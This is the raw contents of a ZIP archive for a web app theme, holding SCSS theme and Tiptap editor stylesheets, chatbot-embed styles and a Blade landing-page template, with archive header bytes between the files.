var(--tblr-body-bg); } // End BC :root { --scrollbar-width: 5px; --scrollbar-track: 0 0% 100%; --scrollbar-thumb: 0 0% 53%; --scrollbar-thumb-hover: 0 0% 33%; --primary: 262 93% 26%; --primary-foreground: 0 0% 100%; --secondary: 278 87% 94%; --secondary-foreground: 0 0% 0%; --accent: 280 60% 50%; --accent-foreground: 0 0% 100%; --background: 0 0% 100%; --foreground: 222 14% 29%; --gradient-from: 189 84% 73%; --gradient-via: 240 73% 74%; --gradient-to: 233 64% 64%; --border: 200 12% 95%; --shadow: 0 4px 7px theme('colors.black/4%'); --heading-background: 0 0% 100%; --heading-foreground: 213 13% 14%; --input-background: var(--background); --input-foreground: 0 0% 0%; --input-border: var(--border); --card-background: var(--background); --card-foreground: var(--foreground); --card-border: var(--border); --card-shadow: none; --folder-background: 0 0 0% / 6%; --folder-foreground: var(--card-foreground); --folder-border: var(--card-border); --folder-shadow: var(--card-shadow); --header-background: var(--background); --header-border: var(--border); --dropdown-background: var(--background); --dropdown-foreground: var(--foreground); --dropdown-border: var(--border); --dropdown-rounded: 0.5rem; --label: 221 13% 46%; --surface: 240 8% 95%; --surface-light: 240 8% 98%; --clay: 240 8% 95%; --font-body: 'Inter'; --font-heading: 'Golos Text'; --headings-font-family: theme('fontFamily.heading'); --headings-line-height: 1.25rem; --headings-font-weight: 600; --headings-text-transform: ; --headings-letter-spacing: ; --headings-color: hsl(var(--heading-foreground)); --h1-font-size: 2.0625rem; --h1-line-height: 2rem; --h1-font-weight: 700; --h2-font-size: 1.625rem; --h2-line-height: 1.75rem; --h3-font-size: 1.25rem; --h3-line-height: 1.25rem; --h4-font-size: 0.9375rem; --h4-line-height: 1.25rem; --h5-font-size: 0.875rem; --h5-line-height: 1.25rem; --h6-font-size: 0.75rem; --h6-line-height: 1.25rem; --header-height: 4.8125rem; --navbar-fs: theme('fontSize.xs'); --navbar-pt: 0px; --navbar-pe: theme('spacing.14'); --navbar-pb: 0px; --navbar-ps: theme('spacing.2'); --navbar-mt: 0px; --navbar-me: theme('spacing.11'); --navbar-mb: 0px; --navbar-ms: 0px; --navbar-rounded-ss: 0px; --navbar-rounded-ee: 0px; --navbar-rounded-ee: 0px; --navbar-rounded-es: 0px; --navbar-background: var(--background); --navbar-foreground: 222 9% 37%; --navbar-background-hover: var(--primary); --navbar-foreground-hover: var(--primary); --navbar-background-active: var(--primary); --navbar-foreground-active: var(--primary); --navbar-link-pt: theme('spacing.2'); --navbar-link-pe: theme('spacing.5'); --navbar-link-pb: theme('spacing.2'); --navbar-link-ps: theme('spacing.5'); --navbar-link-rounded: theme('borderRadius.xl'); --navbar-icon-background: 0 0% 0% / 0%; --navbar-icon-foreground: ; --navbar-icon-background-hover: ; --navbar-icon-foreground-hover: ; --navbar-icon-background-active: ; --navbar-icon-foreground-active: ; --navbar-border: var(--border); --navbar-divider: var(--border); --navbar-icon-size: theme('size.5'); --switcher-ball: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23e6e7e9'/%3e%3c/svg%3e"); --switcher-ball-active: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ffffff'/%3e%3c/svg%3e"); --top-notice-bar-height: 2.25rem; --button-border: var(--border); --button-rounded: theme('borderRadius.full'); --card-rounded: theme('borderRadius.xl'); --input-rounded: calc(theme('borderRadius.xl') * var(--input-rounded-multiplier, 1)); font-size: 16px; } :root:has(body.theme-dark) { --scrollbar-track: 0 0% 10%; --scrollbar-thumb: 0 0% 50%; --scrollbar-thumb-hover: 0 0% 33%; } .theme-dark { --primary: 280 60% 50%; --primary-foreground: 0 0% 100%; --secondary: 278 29% 85%; --secondary-foreground: 0 0% 0%; --background: 216 19% 11%; --foreground: 210 40% 98%; --border: 223 9% 15%; --heading-background: 220 8% 15%; --heading-foreground: 0 0% 100%; --input-background: var(--background); --input-foreground: 216 6% 85%; --input-border: var(--border); --card-background: var(--background); --card-foreground: var(--foreground); --card-border: var(--border); --card-shadow: none; --folder-background: 0 0 100% / 5%; --folder-foreground: var(--card-foreground); --folder-border: var(--card-border); --folder-shadow: var(--card-shadow); --header-background: var(--background); --header-border: var(--border); --label: 220 10% 55%; --surface: 218 14% 13%; --surface-light: 217 12% 21%; --clay: 218 14% 13%; --dropdown-background: var(--surface); --dropdown-foreground: var(--foreground); --dropdown-border: var(--border); --headings-color: hsl(var(--heading-foreground)); --navbar-background: var(--background); --navbar-foreground: 210 1% 74%; --navbar-background-hover: var(--primary); --navbar-foreground-hover: var(--primary); --navbar-background-active: var(--primary); --navbar-foreground-active: var(--primary); --navbar-border: var(--border); --navbar-divider: var(--border); --button-border: var(--border); } } PK˜W]0default/scss/creative-suite/_creative-suite.scssnu„[µü¤PK˜W]Ô–@CéRéRdefault/scss/tiptap.scssnu„[µü¤$tiptap-placeholder-color: var(--placeholder-color); // Root variables :root { overflow-wrap: break-word; text-size-adjust: none; text-rendering: optimizeLegibility; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; // Gray light alpha colors --tt-gray-light-a-50: rgba(56, 56, 56, 0.04); --tt-gray-light-a-100: rgba(15, 22, 36, 0.05); --tt-gray-light-a-200: rgba(37, 39, 45, 0.1); --tt-gray-light-a-300: rgba(47, 50, 55, 0.2); --tt-gray-light-a-400: rgba(40, 44, 51, 0.42); --tt-gray-light-a-500: rgba(52, 55, 60, 0.64); --tt-gray-light-a-600: rgba(36, 39, 46, 0.78); --tt-gray-light-a-700: rgba(35, 37, 42, 0.87); --tt-gray-light-a-800: rgba(30, 32, 36, 0.95); --tt-gray-light-a-900: rgba(29, 30, 32, 0.98); // Gray light colors --tt-gray-light-50: rgba(250, 250, 250, 1); --tt-gray-light-100: rgba(244, 244, 245, 1); --tt-gray-light-200: rgba(234, 234, 235, 1); --tt-gray-light-300: rgba(213, 214, 215, 1); --tt-gray-light-400: rgba(166, 167, 171, 1); --tt-gray-light-500: rgba(125, 127, 130, 1); --tt-gray-light-600: rgba(83, 86, 90, 1); --tt-gray-light-700: rgba(64, 65, 69, 1); --tt-gray-light-800: rgba(44, 45, 48, 1); --tt-gray-light-900: rgba(34, 35, 37, 1); // Gray dark alpha colors --tt-gray-dark-a-50: rgba(232, 232, 253, 0.05); --tt-gray-dark-a-100: rgba(231, 231, 243, 0.07); --tt-gray-dark-a-200: rgba(238, 238, 246, 0.11); --tt-gray-dark-a-300: rgba(239, 239, 245, 0.22); --tt-gray-dark-a-400: rgba(244, 244, 255, 0.37); --tt-gray-dark-a-500: rgba(236, 238, 253, 0.5); --tt-gray-dark-a-600: rgba(247, 247, 253, 0.64); --tt-gray-dark-a-700: rgba(251, 251, 254, 0.75); --tt-gray-dark-a-800: rgba(253, 253, 253, 0.88); --tt-gray-dark-a-900: rgba(255, 255, 255, 0.96); // Gray dark colors --tt-gray-dark-50: rgba(25, 25, 26, 1); --tt-gray-dark-100: rgba(32, 32, 34, 1); --tt-gray-dark-200: rgba(45, 45, 47, 1); --tt-gray-dark-300: rgba(70, 70, 73, 1); --tt-gray-dark-400: rgba(99, 99, 105, 1); --tt-gray-dark-500: rgba(124, 124, 131, 1); --tt-gray-dark-600: rgba(163, 163, 168, 1); --tt-gray-dark-700: rgba(192, 192, 195, 1); --tt-gray-dark-800: rgba(224, 224, 225, 1); --tt-gray-dark-900: rgba(245, 245, 245, 1); // Brand colors --tt-brand-color-50: rgba(239, 238, 255, 1); --tt-brand-color-100: rgba(222, 219, 255, 1); --tt-brand-color-200: rgba(195, 189, 255, 1); --tt-brand-color-300: rgba(157, 138, 255, 1); --tt-brand-color-400: rgba(122, 82, 255, 1); --tt-brand-color-500: rgba(98, 41, 255, 1); --tt-brand-color-600: rgba(84, 0, 229, 1); --tt-brand-color-700: rgba(75, 0, 204, 1); --tt-brand-color-800: rgba(56, 0, 153, 1); --tt-brand-color-900: rgba(43, 25, 102, 1); --tt-brand-color-950: hsla(257, 100%, 9%, 1); // Theme colors - Green --tt-color-green-inc-5: hsla(129, 100%, 97%, 1); --tt-color-green-inc-4: hsla(129, 100%, 92%, 1); --tt-color-green-inc-3: hsla(131, 100%, 86%, 1); --tt-color-green-inc-2: hsla(133, 98%, 78%, 1); --tt-color-green-inc-1: hsla(137, 99%, 70%, 1); --tt-color-green-base: hsla(147, 99%, 50%, 1); --tt-color-green-dec-1: hsla(147, 97%, 41%, 1); --tt-color-green-dec-2: hsla(146, 98%, 32%, 1); --tt-color-green-dec-3: hsla(146, 100%, 24%, 1); --tt-color-green-dec-4: hsla(144, 100%, 16%, 1); --tt-color-green-dec-5: hsla(140, 100%, 9%, 1); // Theme colors - Yellow --tt-color-yellow-inc-5: hsla(50, 100%, 97%, 1); --tt-color-yellow-inc-4: hsla(50, 100%, 91%, 1); --tt-color-yellow-inc-3: hsla(50, 100%, 84%, 1); --tt-color-yellow-inc-2: hsla(50, 100%, 77%, 1); --tt-color-yellow-inc-1: hsla(50, 100%, 68%, 1); --tt-color-yellow-base: hsla(52, 100%, 50%, 1); --tt-color-yellow-dec-1: hsla(52, 100%, 41%, 1); --tt-color-yellow-dec-2: hsla(52, 100%, 32%, 1); --tt-color-yellow-dec-3: hsla(52, 100%, 24%, 1); --tt-color-yellow-dec-4: hsla(51, 100%, 16%, 1); --tt-color-yellow-dec-5: hsla(50, 100%, 9%, 1); // Theme colors - Red --tt-color-red-inc-5: hsla(11, 100%, 96%, 1); --tt-color-red-inc-4: hsla(11, 100%, 88%, 1); --tt-color-red-inc-3: hsla(10, 100%, 80%, 1); --tt-color-red-inc-2: hsla(9, 100%, 73%, 1); --tt-color-red-inc-1: hsla(7, 100%, 64%, 1); --tt-color-red-base: hsla(7, 100%, 54%, 1); --tt-color-red-dec-1: hsla(7, 100%, 41%, 1); --tt-color-red-dec-2: hsla(5, 100%, 32%, 1); --tt-color-red-dec-3: hsla(4, 100%, 24%, 1); --tt-color-red-dec-4: hsla(3, 100%, 16%, 1); --tt-color-red-dec-5: hsla(1, 100%, 9%, 1); // Basic colors --white: rgba(255, 255, 255, 1); --black: rgba(14, 14, 17, 1); --transparent: rgba(255, 255, 255, 0); // Shadows --tt-shadow-elevated-md: 0px 16px 48px 0px rgba(17, 24, 39, 0.04), 0px 12px 24px 0px rgba(17, 24, 39, 0.04), 0px 6px 8px 0px rgba(17, 24, 39, 0.02), 0px 2px 3px 0px rgba(17, 24, 39, 0.02); // Border radius --tt-radius-xxs: 0.125rem; --tt-radius-xs: 0.25rem; --tt-radius-sm: 0.375rem; --tt-radius-md: 0.5rem; --tt-radius-lg: 0.75rem; --tt-radius-xl: 1rem; // Transitions --tt-transition-duration-short: 0.1s; --tt-transition-duration-default: 0.2s; --tt-transition-duration-long: 0.64s; --tt-transition-easing-default: cubic-bezier(0.46, 0.03, 0.52, 0.96); --tt-transition-easing-cubic: cubic-bezier(0.65, 0.05, 0.36, 1); --tt-transition-easing-quart: cubic-bezier(0.77, 0, 0.18, 1); --tt-transition-easing-circ: cubic-bezier(0.79, 0.14, 0.15, 0.86); --tt-transition-easing-back: cubic-bezier(0.68, -0.55, 0.27, 1.55); // Contrast values --tt-accent-contrast: 8%; --tt-destructive-contrast: 8%; --tt-foreground-contrast: 8%; // Light theme colors --tt-bg-color: var(--white); --tt-border-color: var(--tt-gray-light-a-200); --tt-border-color-tint: var(--tt-gray-light-a-100); --tt-sidebar-bg-color: var(--tt-gray-light-100); --tt-scrollbar-color: var(--tt-gray-light-a-200); --tt-cursor-color: var(--tt-brand-color-500); --tt-selection-color: rgba(157, 138, 255, 0.2); --tt-card-bg-color: var(--white); --tt-card-border-color: var(--tt-gray-light-a-100); // Text colors (light theme) --tt-color-text-gray: hsl(45, 2%, 46%); --tt-color-text-brown: hsl(19, 31%, 47%); --tt-color-text-orange: hsl(30, 89%, 45%); --tt-color-text-yellow: hsl(38, 62%, 49%); --tt-color-text-green: hsl(148, 32%, 39%); --tt-color-text-blue: hsl(202, 54%, 43%); --tt-color-text-purple: hsl(274, 32%, 54%); --tt-color-text-pink: hsl(328, 49%, 53%); --tt-color-text-red: hsl(2, 62%, 55%); --tt-color-text-gray-contrast: hsla(39, 26%, 26%, 0.15); --tt-color-text-brown-contrast: hsla(18, 43%, 69%, 0.35); --tt-color-text-orange-contrast: hsla(24, 73%, 55%, 0.27); --tt-color-text-yellow-contrast: hsla(44, 82%, 59%, 0.39); --tt-color-text-green-contrast: hsla(126, 29%, 60%, 0.27); --tt-color-text-blue-contrast: hsla(202, 54%, 59%, 0.27); --tt-color-text-purple-contrast: hsla(274, 37%, 64%, 0.27); --tt-color-text-pink-contrast: hsla(331, 60%, 71%, 0.27); --tt-color-text-red-contrast: hsla(8, 79%, 79%, 0.4); // Highlight colors (light theme) --tt-color-highlight-yellow: #fef9c3; --tt-color-highlight-green: #dcfce7; --tt-color-highlight-blue: #e0f2fe; --tt-color-highlight-purple: #f3e8ff; --tt-color-highlight-red: #ffe4e6; --tt-color-highlight-gray: rgb(248, 248, 247); --tt-color-highlight-brown: rgb(244, 238, 238); --tt-color-highlight-orange: rgb(251, 236, 221); --tt-color-highlight-pink: rgb(252, 241, 246); --tt-color-highlight-yellow-contrast: #fbe604; --tt-color-highlight-green-contrast: #c7fad8; --tt-color-highlight-blue-contrast: #ceeafd; --tt-color-highlight-purple-contrast: #e4ccff; --tt-color-highlight-red-contrast: #ffccd0; --tt-color-highlight-gray-contrast: rgba(84, 72, 49, 0.15); --tt-color-highlight-brown-contrast: rgba(210, 162, 141, 0.35); --tt-color-highlight-orange-contrast: rgba(224, 124, 57, 0.27); --tt-color-highlight-pink-contrast: rgba(225, 136, 179, 0.27); // Box sizing and transitions &, & *, & :after, & :before { box-sizing: border-box; transition: none var(--tt-transition-duration-default) var(--tt-transition-easing-default); } } .tiptap.ProseMirror { // Light mode variables --blockquote-bg-color: var(--tt-gray-light-900); --link-text-color: var(--tt-brand-color-500); --separator-color: var(--tt-gray-light-a-200); --thread-text: var(--tt-gray-light-900); --placeholder-color: var(--tt-gray-light-a-400); --tiptap-mathematics-bg-color: var(--tt-gray-light-a-200); --tiptap-mathematics-border-color: var(--tt-brand-color-500); --tt-inline-code-bg-color: var(--tt-gray-light-a-100); --tt-inline-code-text-color: var(--tt-gray-light-a-700); --tt-inline-code-border-color: var(--tt-gray-light-a-200); --tt-codeblock-bg: var(--tt-gray-light-a-50); --tt-codeblock-text: var(--tt-gray-light-a-800); --tt-codeblock-border: var(--tt-gray-light-a-200); white-space: pre-wrap; outline: none; caret-color: var(--tt-cursor-color); --tt-checklist-bg-color: var(--tt-gray-light-a-100); --tt-checklist-bg-active-color: var(--tt-gray-light-a-900); --tt-checklist-border-color: var(--tt-gray-light-a-200); --tt-checklist-border-active-color: var(--tt-gray-light-a-900); --tt-checklist-check-icon-color: var(--white); --tt-checklist-text-active: var(--tt-gray-light-a-500); &:not(.readonly):not(.ProseMirror-hideselection) { ::selection { background-color: var(--tt-selection-color); } .selection::selection { background: rgba(0, 0, 0, 0); } } .ProseMirror-hideselection { caret-color: rgba(0, 0, 0, 0); } >p.is-editor-empty:before { content: attr(data-placeholder); pointer-events: none; color: var(--placeholder-color); float: left; height: 0; } &.resize-cursor { cursor: ew-resize; cursor: col-resize; } .ProseMirror-gapcursor { display: none; pointer-events: none; position: absolute; &:after { content: ""; display: block; position: absolute; top: 1em; width: 1.25em; border-top: 1px solid #000; animation: ProseMirror-cursor-blink 1.1s steps(2, start) infinite; } } &.ProseMirror-focused .ProseMirror-gapcursor { display: block; } a span, u span { text-decoration: underline; } s span { text-decoration: line-through; } blockquote { position: relative; padding: 0.375em 0 0.375em 1em; margin: 1.5rem 0; p { margin-top: 0; } &.is-empty:before, &:before { position: absolute; top: 0; bottom: 0; left: 0; width: 0.25em; background-color: var(--blockquote-bg-color); content: ""; } } .collaboration-cursor__caret { border-right: 1px solid transparent; border-left: 1px solid transparent; pointer-events: none; margin: 0 -1px; position: relative; word-break: normal; } .collaboration-cursor__label { border-radius: 0.25rem 0.25rem 0 0; font-size: 0.75rem; font-weight: 600; left: -1px; line-height: 1; padding: 0.125rem 0.375rem; position: absolute; top: -1.3em; user-select: none; white-space: nowrap; } [data-type="emoji"] img { display: inline-block; width: 1.25em; height: 1.25em; cursor: text; } hr { margin: 3em 0; border: none; height: 1px; background-color: var(--separator-color); &.ProseMirror-selectednode { border-radius: 9999px; outline: 3px solid var(--tt-brand-color-500); outline-offset: 2px; } } a { color: var(--link-text-color); text-decoration: underline; } [data-type="mention"] { display: inline-block; color: var(--tt-brand-color-500); } code { background-color: var(--tt-inline-code-bg-color); color: var(--tt-inline-code-text-color); border: 1px solid var(--tt-inline-code-border-color); font-family: 'JetBrains Mono NL', monospace; font-size: 0.875em; line-height: 1.4; border-radius: 6px; padding: 0.1em 0.2em; } pre { background-color: var(--tt-codeblock-bg); color: var(--tt-codeblock-text); border: 1px solid var(--tt-codeblock-border); margin: 1.5em 0; padding: 1em; font-size: 1rem; border-radius: 6px; code { background-color: transparent; border: none; color: inherit; } } .tiptap-thread { &--unresolved { &.tiptap-thread--inline { transition: color 0.2s ease-in-out, background-color 0.2s ease-in-out; color: var(--thread-text); border-bottom: 2px dashed var(--tt-color-yellow-base); font-weight: 600; &.tiptap-thread--hovered, &.tiptap-thread--selected { background-color: var(--tt-color-yellow-inc-2); border-bottom-color: transparent; } } &.tiptap-thread--block { &:has(img) { outline: 0.125rem solid var(--tt-color-yellow-base); border-radius: var(--tt-radius-xs, 0.25rem); overflow: hidden; width: fit-content; &.tiptap-thread--selected, &.tiptap-thread--hovered { outline-width: 0.25rem; } } &:not(:has(img)) { border-radius: 0.25rem; border-bottom: 0.125rem dashed var(--tt-color-yellow-base); padding-bottom: 0.5rem; outline: 0.25rem solid transparent; &.tiptap-thread--hovered, &.tiptap-thread--selected { background-color: var(--tt-color-yellow-base); outline-color: var(--tt-color-yellow-base); } } } } &--resolved.tiptap-thread--inline.tiptap-thread--selected { background-color: var(--tt-color-yellow-base); border-color: transparent; opacity: 0.5; } &.tiptap-thread--block:has(.react-renderer) { margin: 3rem 0; } } .Tiptap-mathematics-editor, .Tiptap-mathematics-render { border-radius: var(--tt-radius-xs); display: inline-block; padding: 0 0.25rem; } .Tiptap-mathematics-editor { margin: 0 0.25rem; border: 1px solid var(--tiptap-mathematics-border-color); font-family: monospace; font-size: 0.875rem; } .Tiptap-mathematics-render--editable { cursor: pointer; transition: background 0.2s; &:hover { background: var(--tiptap-mathematics-bg-color); } } // Lists styling ol, ul { margin-top: 1.5em; margin-bottom: 1.5em; padding-left: 1.5em; &:first-child { margin-top: 0; } &:last-child { margin-bottom: 0; } // Nested lists ol, ul { margin-top: 0; margin-bottom: 0; } } // List items li { p { margin-top: 0; } } // Ordered lists ol { list-style: decimal; ol { list-style: lower-alpha; ol { list-style: lower-roman; } } } // Unordered lists (not task lists) ul:not([data-type="taskList"]) { list-style: disc; ul { list-style: circle; ul { list-style: disc; } } } // Task lists ul[data-type="taskList"] { padding-left: 0.25em; li { display: flex; flex-direction: row; align-items: flex-start; &:not(:has(> p:first-child)) { list-style-type: none; } // Checked items &[data-checked="true"]>div>p { opacity: 0.5; text-decoration: line-through; span { text-decoration: line-through; } } // Checkbox label label { position: relative; padding-top: 4px; padding-right: 8px; input[type="checkbox"] { position: absolute; opacity: 0; width: 0; height: 0; &:checked+span { background: var(--tt-checklist-bg-active-color); border-color: var(--tt-checklist-border-active-color); &:before { opacity: 1; } } } span { display: block; width: 1em; height: 1em; border: 1px solid var(--tt-checklist-border-color); border-radius: var(--tt-radius-xs, 0.25rem); position: relative; cursor: pointer; background-color: var(--tt-checklist-bg-color); transition: background-color 80ms ease-out, border-color 80ms ease-out; &:before { content: ""; position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); width: 0.75em; height: 0.75em; background-color: var(--tt-checklist-check-icon-color); opacity: 0; -webkit-mask: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20viewBox%3D%220%200%2024%2024%22%20fill%3D%22currentColor%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M21.4142%204.58579C22.1953%205.36683%2022.1953%206.63317%2021.4142%207.41421L10.4142%2018.4142C9.63317%2019.1953%208.36684%2019.1953%207.58579%2018.4142L2.58579%2013.4142C1.80474%2012.6332%201.80474%2011.3668%202.58579%2010.5858C3.36683%209.80474%204.63317%209.80474%205.41421%2010.5858L9%2014.1716L18.5858%204.58579C19.3668%203.80474%2020.6332%203.80474%2021.4142%204.58579Z%22%20fill%3D%22currentColor%22%2F%3E%3C%2Fsvg%3E") center/contain no-repeat; mask: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20viewBox%3D%220%200%2024%2024%22%20fill%3D%22currentColor%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M21.4142%204.58579C22.1953%205.36683%2022.1953%206.63317%2021.4142%207.41421L10.4142%2018.4142C9.63317%2019.1953%208.36684%2019.1953%207.58579%2018.4142L2.58579%2013.4142C1.80474%2012.6332%201.80474%2011.3668%202.58579%2010.5858C3.36683%209.80474%204.63317%209.80474%205.41421%2010.5858L9%2014.1716L18.5858%204.58579C19.3668%203.80474%2020.6332%203.80474%2021.4142%204.58579Z%22%20fill%3D%22currentColor%22%2F%3E%3C%2Fsvg%3E") center/contain no-repeat; } } } // Content wrapper div { flex: 1 1; min-width: 0; } } } } .theme-dark .tiptap.ProseMirror { --tt-bg-color: var(--black); --tt-border-color: var(--tt-gray-dark-a-200); --tt-border-color-tint: var(--tt-gray-dark-a-100); --tt-sidebar-bg-color: var(--tt-gray-dark-100); --tt-scrollbar-color: var(--tt-gray-dark-a-200); --tt-cursor-color: var(--tt-brand-color-400); --tt-selection-color: rgba(122, 82, 255, 0.2); --tt-card-bg-color: var(--tt-gray-dark-50); --tt-card-border-color: var(--tt-gray-dark-a-50); --tt-shadow-elevated-md: 0px 16px 48px 0px rgba(0, 0, 0, 0.5), 0px 12px 24px 0px rgba(0, 0, 0, 0.24), 0px 6px 8px 0px rgba(0, 0, 0, 0.22), 0px 2px 3px 0px rgba(0, 0, 0, 0.12); // Text colors (dark theme) --tt-color-text-gray: hsl(0, 0%, 61%); --tt-color-text-brown: hsl(18, 35%, 58%); --tt-color-text-orange: hsl(25, 53%, 53%); --tt-color-text-yellow: hsl(36, 54%, 55%); --tt-color-text-green: hsl(145, 32%, 47%); --tt-color-text-blue: hsl(202, 64%, 52%); --tt-color-text-purple: hsl(270, 55%, 62%); --tt-color-text-pink: hsl(329, 57%, 58%); --tt-color-text-red: hsl(1, 69%, 60%); --tt-color-text-gray-contrast: hsla(0, 0%, 100%, 0.09); --tt-color-text-brown-contrast: hsla(17, 45%, 50%, 0.25); --tt-color-text-orange-contrast: hsla(27, 82%, 53%, 0.2); --tt-color-text-yellow-contrast: hsla(35, 49%, 47%, 0.2); --tt-color-text-green-contrast: hsla(151, 55%, 39%, 0.2); --tt-color-text-blue-contrast: hsla(202, 54%, 43%, 0.2); --tt-color-text-purple-contrast: hsla(271, 56%, 60%, 0.18); --tt-color-text-pink-contrast: hsla(331, 67%, 58%, 0.22); --tt-color-text-red-contrast: hsla(0, 67%, 60%, 0.25); // Highlight colors (dark theme) --tt-color-highlight-yellow: #6b6524; --tt-color-highlight-green: #509568; --tt-color-highlight-blue: #6e92aa; --tt-color-highlight-purple: #583e74; --tt-color-highlight-red: #743e42; --tt-color-highlight-gray: rgb(47, 47, 47); --tt-color-highlight-brown: rgb(74, 50, 40); --tt-color-highlight-orange: rgb(92, 59, 35); --tt-color-highlight-pink: rgb(78, 44, 60); --tt-color-highlight-yellow-contrast: #58531e; --tt-color-highlight-green-contrast: #47855d; --tt-color-highlight-blue-contrast: #5e86a1; --tt-color-highlight-purple-contrast: #4c3564; --tt-color-highlight-red-contrast: #643539; --tt-color-highlight-gray-contrast: rgba(255, 255, 255, 0.094); --tt-color-highlight-brown-contrast: rgba(184, 101, 69, 0.25); --tt-color-highlight-orange-contrast: rgba(233, 126, 37, 0.2); --tt-color-highlight-pink-contrast: rgba(220, 76, 145, 0.22); --tt-checklist-bg-color: var(--tt-gray-dark-a-100); --tt-checklist-bg-active-color: var(--tt-gray-dark-a-900); --tt-checklist-border-color: var(--tt-gray-dark-a-200); --tt-checklist-border-active-color: var(--tt-gray-dark-a-900); --tt-checklist-check-icon-color: var(--black); --tt-checklist-text-active: var(--tt-gray-dark-a-500); --blockquote-bg-color: var(--tt-gray-dark-900); --link-text-color: var(--tt-brand-color-400); --separator-color: var(--tt-gray-dark-a-200); --thread-text: var(--tt-gray-dark-900); --placeholder-color: var(--tt-gray-dark-a-400); --tiptap-mathematics-bg-color: var(--tt-gray-dark-a-200); --tiptap-mathematics-border-color: var(--tt-brand-color-400); --tt-inline-code-bg-color: var(--tt-gray-dark-a-100); --tt-inline-code-text-color: var(--tt-gray-dark-a-700); --tt-inline-code-border-color: var(--tt-gray-dark-a-200); --tt-codeblock-bg: var(--tt-gray-dark-a-50); --tt-codeblock-text: var(--tt-gray-dark-a-800); --tt-codeblock-border: var(--tt-gray-dark-a-200); } .is-empty[data-placeholder] { &:has(>.ProseMirror-trailingBreak:only-child):before { content: "Write, type '/' for commands…"; pointer-events: none; height: 0; position: absolute; font-style: italic; color: $tiptap-placeholder-color; } &:has(>.ProseMirror-trailingBreak):before { color: var(--placeholder-color); } } @keyframes ProseMirror-cursor-blink { to { visibility: hidden; } }PK˜W]ÿé¶¶default/scss/chatbot-embed.scssnu„[µü¤@config "../../../../tailwind.chatbot-embed.config.js"; @tailwind base; @tailwind components; @tailwind utilities; @layer base { :root { --background: 240 25% 98%; --foreground: 216 11% 45%; --heading-background: 0 0% 100%; --heading-foreground: 213 13% 14%; --font-body: 'Golos Text'; --font-heading: 'Onest'; --headings-font-family: theme('fontFamily.heading'); --headings-line-height: 1.25rem; --headings-font-weight: 600; --headings-text-transform: ; --headings-letter-spacing: ; --headings-color: hsl(var(--heading-foreground)); --h1-font-size: 5.25rem; // 84px --h1-line-height: 4.8125rem; // 77px --h1-letter-spacing: -0.05em; --h1-font-weight: 700; --h2-font-size: 3.3125rem; // 53px --h2-line-height: 1; --h2-letter-spacing: -0.03em; --h2-font-weight: 700; --h3-font-size: 2.4375rem; // 39px --h3-line-height: 1.1; --h3-letter-spacing: -0.03em; --h3-font-weight: 700; --h4-font-size: 1.125rem; // 18px --h4-line-height: 1; --h4-letter-spacing: -0.01em; --h4-font-weight: 500; --h5-font-size: 1rem; --h5-line-height: 1; --h5-letter-spacing: -0.01em; --h5-font-weight: 500; --h6-font-family: theme('fontFamily.body'); --h6-font-size: 0.9375rem; // 15px --h6-line-height: 1; --h6-font-weight: 500; } h1, h2, h3, h4, h5, h6 { font-family: var(--headings-font-family); line-height: var(--headings-line-height); font-weight: var(--headings-font-weight); font-style: var(--headings-font-style); text-transform: var(--headings-text-transform); letter-spacing: var(--headings-letter-spacing); color: var(--headings-color); } @for $i from 1 through 6 { h#{$i} { font-family: var(--h#{$i}-font-family, var(--headings-font-family)); font-size: var(--h#{$i}-font-size, var(--headings-font-size)); line-height: var(--h#{$i}-line-height, var(--headings-line-height)); font-weight: var(--h#{$i}-font-weight, var(--headings-font-weight)); font-style: var(--h#{$i}-font-style, var(--headings-font-style)); text-transform: var(--h#{$i}-text-transform, var(--headings-text-transform)); letter-spacing: var(--h#{$i}-letter-spacing, var(--headings-letter-spacing)); color: var(--h#{$i}-color, var(--headings-color)); } } @media (max-width: 767px) { :root { --h1-font-size: 4.3125rem; // 69px } } @media (max-width: 479px) { :root { --h1-font-size: 16vw; } h1 svg { width: 0.55em; } } } @layer components { .dot { @apply inline-block size-1 mx-1 align-middle bg-current rounded-full opacity-40; } @media (max-width: 1199px) { .container { @apply px-4; } } @import './components/outline-glow'; } @layer utilities { @keyframes gradient-animation { 0% { background-position: 0% 100%; } 100% { background-position: 100% 100%; } } .banner-bg { background: linear-gradient(120deg, #70acd4 0%, #ca71ff 20%, #8469cc 30%, #4882e6 50%, #8469cc 70%, #70acd4 100%); background-size: 200% 200%; animation: gradient-animation 20s ease-in-out alternate infinite; } } .page-loaded { .banner-title { .lqd-split-text-words { --tw-blur: blur(0px); --tw-translate-x: 0 !important; --tw-translate-y: 0 !important; --tw-scale-x: 1; --tw-scale-y: 1; opacity: 1; } @for $i from 0 through 7 { .lqd-split-text-words:nth-child(#{$i + 1}) { transition-delay: ($i * 0.07) + s; } } } .banner-title-gradient { transform: translate(100%, 50%); transition: transform 3.5s 1s, opacity 0.3s 2.1s; opacity: 0; } } @media (max-width: 575px) { :root { --h2-font-size: 2.1875rem; // 35px } } @media (prefers-color-scheme: dark) { .lqd-chatbot { --heading-background: 220 8% 15%; --heading-foreground: 0 0% 100%; } } PK˜W] …Ì//default/index.blade.phpnu„[µü¤@extends('layout.app') @section('content') @include('landing-page.banner.section') @includeWhen($fSectSettings->features_active == 1, 'landing-page.features.section') @includeWhen($fSectSettings->generators_active == 1, 'landing-page.generators.section') @includeWhen($fSectSettings->who_is_for_active == 1, 'landing-page.who-is-for.section') @includeWhen($fSectSettings->custom_templates_active == 1, 'landing-page.custom-templates.section') @includeWhen($fSectSettings->tools_active == 1, 'landing-page.tools.section') @includeWhen($fSectSettings->how_it_works_active == 1, 'landing-page.how-it-works.section') @includeWhen($fSectSettings->testimonials_active == 1, 'landing-page.testimonials.section') 